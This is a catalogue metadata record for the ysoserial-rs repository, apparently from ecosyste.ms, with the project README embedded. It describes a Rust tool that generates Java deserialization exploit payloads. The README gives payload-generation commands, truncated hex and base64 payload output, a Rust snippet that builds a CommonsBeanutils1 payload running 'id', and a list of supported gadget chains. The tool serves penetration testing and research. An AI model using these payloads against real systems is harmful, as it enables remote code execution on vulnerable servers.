{"id":27282681,"url":"https://github.com/emo-crab/ysoserial-rs","last_synced_at":"2025-09-15T09:25:49.517Z","repository":{"id":65702499,"uuid":"446131171","full_name":"emo-crab/ysoserial-rs","owner":"emo-crab","description":"A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. ","archived":false,"fork":false,"pushed_at":"2023-02-05T11:54:23.000Z","size":120,"stargazers_count":69,"open_issues_count":0,"forks_count":13,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-04-11T18:16:04.262Z","etag":null,"topics":["rust","ysoserial"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/emo-crab.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-01-09T15:43:59.000Z","updated_at":"2024-11-12T12:44:38.000Z","dependencies_parsed_at":"2023-02-18T23:15:56.873Z","dependency_job_id":null,"html_url":"https://github.com/emo-crab/ysoserial-rs","commit_stats":null,"previous_names":["emo-crab/ysoserial-rs"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/emo-crab/ysoserial-rs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emo-crab%2Fysoserial-rs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emo-crab%2Fysoserial-rs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emo-crab%2Fysoserial-rs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emo-crab%2Fysoserial-rs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/emo-crab","download_url":"https://codeload.github.com/emo-crab/ysoserial-rs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emo-crab%2Fysoserial-rs/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":275234175,"owners_count":25428578,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-15T02:00:09.272Z","response_time":75,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["rust","ysoserial"],"created_at":"2025-04-11T18:16:01.539Z","updated_at":"2025-09-15T09:25:49.400Z","avatar_url":"https://github.com/emo-crab.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# ysoserial-rs\n\n- [ysoserial](https://github.com/frohoff/ysoserial)  implemented by rust\n\n\u003e A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.\n\n## using\n\n```shell\nUsage: ysoserial [-p \u003cpayload\u003e] [-c \u003ccommand\u003e] [--url \u003curl\u003e] [--echo-name \u003cecho-name\u003e] [--command-name \u003ccommand-name\u003e] [-o \u003coutput\u003e] [-f \u003cformat\u003e] [-l]\n\nysoserial-rs\n\nOptions:\n  -p, --payload     select a payload\n  -c, --command     command to execute\n  --url             url to request dns\n  --echo-name       tomcat echo request header name\n  --command-name    tomcat command request header name\n  -o, --output      save payload to file\n  -f, --format      format to hex or base64\n  -l, --list        list all payload\n  --help            display usage information\n\n```\n\n### format\n\n- hex\n\n```shell\n➜  ysoserial-rs git:(main) ✗ ysoserial -p cc1 -c whomai -f hex\naced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f...\n```\n\n- base64\n\n```shell\n➜  ysoserial-rs git:(main) ✗ ysoserial -p cc1 -c whomai -f base64\nrO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYm...\n```\n\n### output\n\n```shell\n➜  ysoserial-rs git:(main) ✗ ysoserial -p cc1 -c whomai -o cc1.ser\n写入文件:cc1.ser,payload大小:1395\n➜  ysoserial-rs git:(main) ✗ cat cc1.ser|xxd -ps\naced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e\n2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255ca\n...\n```\n\n## examples\n\n```shell\ncargo run --example examples\n```\n\n- Please refer to the examples directory for details\n\n```rust\nuse std::fs::File;\nuse std::io;\nuse std::io::Write;\nuse ysoserial_rs::get_commons_beanutils1;\n\nfn main() -\u003e Result\u003c(), io::Error\u003e {\n    let mut file = File::create(\"commons_beanutils1.ser\")?;\n    file.write_all(\u0026get_commons_beanutils1(\"id\"))?;\n    Ok(())\n}\n```\n\n## support list\n\n- [x] bs1\n- [x] cc1\n- [x] cc2\n- [x] cc3\n- [x] cc4\n- [x] cc5\n- [x] cc6\n- [x] cc7\n- [x] cck1\n- [x] cck2\n- [x] cck3\n- [x] cck4\n- [x] clojure\n- [x] groovy1\n- [x] hibernate1\n- [x] hibernate2\n- [x] javassist_weld1\n- [x] jboss_interceptors1\n- [x] jdk7u21\n- [x] jdk8u20\n- [x] json1\n- [x] mozilla_rhino1\n- [x] mozilla_rhino2\n- [x] myfaces1\n- [x] rome\n- [x] spring1\n- [x] spring2\n- [x] cck1_tomcat_echo\n- [x] cck2_tomcat_echo\n- [x] url_dns\n- [x] c3p0\n- [x] vaadin1\n- [x] shiro_spc\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Femo-crab%2Fysoserial-rs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Femo-crab%2Fysoserial-rs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Femo-crab%2Fysoserial-rs/lists"}